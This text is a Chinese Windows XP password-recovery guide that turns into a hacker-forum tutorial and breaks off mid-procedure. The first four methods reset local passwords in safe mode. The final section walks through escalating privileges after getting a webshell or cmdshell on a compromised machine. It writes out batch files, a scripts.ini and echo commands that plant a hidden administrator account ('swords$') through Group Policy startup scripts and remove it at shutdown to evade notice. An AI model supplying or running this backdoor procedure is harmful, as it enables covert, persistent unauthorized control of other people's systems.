解除管理员权限

方法一：启动计算机，在WindowsXP启动画面出现后马上按下F8键，选择“带命令行的安全模式”。

运行过程结束时，系统列出系统超级用户“administrator”和本地用户“xxx”的选择菜单，鼠标单击“administrator”，进入命令行模式，然后就可以用net user password命令来修改密码了。

比如账号为rhomb希望将密码设置为1234，那么可以输入：net user rhonb 1234/add这样就强制将“rhomb”用户的口令更改为“1234”。若想在此添加一新用户，用户名为li，口令为333，只要键入：net user li 333/add然后再把这个li用户加入管理员组：net localgroup administrators li/add这样，用户“li”就成为系统管理组“administrators”的用户了。最后重新启动计算机，选择正常模式下运行，就可以用更改后的口令“1234”登录了。

本文引用网址

/tech/software/os/200703/content_1141.shtml

方法二：重新启动计算机，在出现启动菜单时按F8键进入高级选项菜单，选择“安全模式”进入系统；打开“控制面板”，找到“用户和密码”选项，看看是不是账户中包括Administrators?好，现在将Administrators账户删除，重新创建一个Administrators，或是更改原来的Administrators账户密码；重新启动计算机后，只有输入新的密码才能登录Windows XP。

方法三

(1)如果在安装Windows XP时，Administrator密码设置为空，在安装后被新建一管理员取代，大家可以在系统引导的时候按F8进入安全模式，这里的Administrator口令为空，可以直接进入，进入后对帐户和密码进行设置即可。

(2)如果设置了Administrator口令，解密的方法是：

用密码重设盘设新密码：进入安全模式登录到Windows XP后，按下“Ctrl + Alt + Del”组合键，

出现“Windows 安全”窗口，点击选项中“更改密码”按钮，出现更改密码窗口。这个窗口中，将当前用户的密码备份，点击左下角“备份”按钮，激活“忘记密码向导”，按照提示创建密码重设盘。

如果在Windows XP的登录窗口输入了错误的密码，就会弹出“登录失败”窗口，如果你的确想不起来自己的密码是什么时，可点击“重设”按钮，启动密码重设向导，通过刚才所创建的密码重设盘，重新设定密码，登录Windows XP。

方法四

A开机启动Win XP，当运行到“正在启动Windows XP”的提示界面时，按“F8”键调出系统启动选择菜单，选择“带命令行安全模式”；

B当运行停止后，会列出“Administrator”和其它用户的选择菜单(本例的其他用户以xpuser01为例)，选择“Administrator”后回车，进入命令行模式；

C键入命令““net user xpuser01 1234/ADD”这是更改该用户密码的命令，命令中的“1234”是更改后的新密码，如果键入的用户不存在（xpuser01），那么系统会自动添加这个用户。

D另外还可以使用“net 1oca1group administrator xpuser01 /ADD”命令把xpuser01这个用户升为超级用户，即可拥有所有权限。

E最后一步，就是重新启动计算机，在登录窗口中输入刚刚更改的新密码便可成功登陆。

现在我们利用启动脚本和批处理在获得shell的情况下提升权限第9法: 启动脚本法！！首家批漏啊，大家可得看好了，我尽量废话少说，言简意赅的表述。

注：启动脚本是邀请用户登录之前运行的批文件,它的功能类似于Win9X和DOS中的自动执行批处理文件autoexec.bat,由于脚本是在windows登陆之前运行,所以我们可以修改脚本内容来对系统进行设置,如启动一个后门程序,添加一个管理员帐号,修改管理员帐号等等,随你想吧.嘎嘎..

本文首先介绍通过webshell添加一个隐藏帐号(毕竟这才是大家最关心的:)),然后具体讲解一下出现问题后的解决方法.如何添加一个帐号?

一.如果你可以直接写文件,如用海洋.

（1）首先，我们用海洋编写了一个新建管理员的批处理文件swords1.bat,如下:

net user swords$Content$nbsp;eviloctal /add

net localgroup administrators swords$Content$nbsp;/add

这个批处理文件加了一个管理员名为swords$,密码为eviloctal的隐藏帐户，将文件swords1.bat保存到"C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup"下.

(注意：c：\winnt是系统目录，如果系统盘不是c盘，请相应修改为系统目录即可.在本机中查看，你也许找不到GroupPolicy\ Machine\Scripts\Startup这个文件夹,可以选择工具/文件夹选项/查看/单击显示所有文件和文件夹.在海洋中用fso可以显示所有文件就不必多此一举了。)

（2）接下来编写一个删除管理员的批处理文件swords2.bat,很简单，一句话即可，如下: net user swords$Content$nbsp;/del

这个批处理文件删除一个管理员名为swords$的隐藏帐户，将文件swords2.bat保存到"C:\winnt\system32\GroupPolicy\Machine\Scripts\Shutdown"下.

（3）编写一个启动/关机脚本配置文件******s.ini

（注意：******s是默认的配置文件名，不能改名！）如下:

[Startup]

0CmdLine=swords1.bat

0Parameters=

[Shutdown]

0CmdLine=swords2.bat

0Parameters=

将文件******s.ini保存到C:\winnt\system32\GroupPolicy\Machine\Scripts下.

二.如果你有一个cmdshell,有echo的权限就可以了,这样添加:

(1)echo一个swords1.vbs启动时用的文件

echo on error resume next> C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup

\swords1.vbs

echo net user swords$Content$nbsp;eviloctal /add>>

C:\winnt\system32\GroupPolicy\Machine\Scripts\Startup\swords1.vbs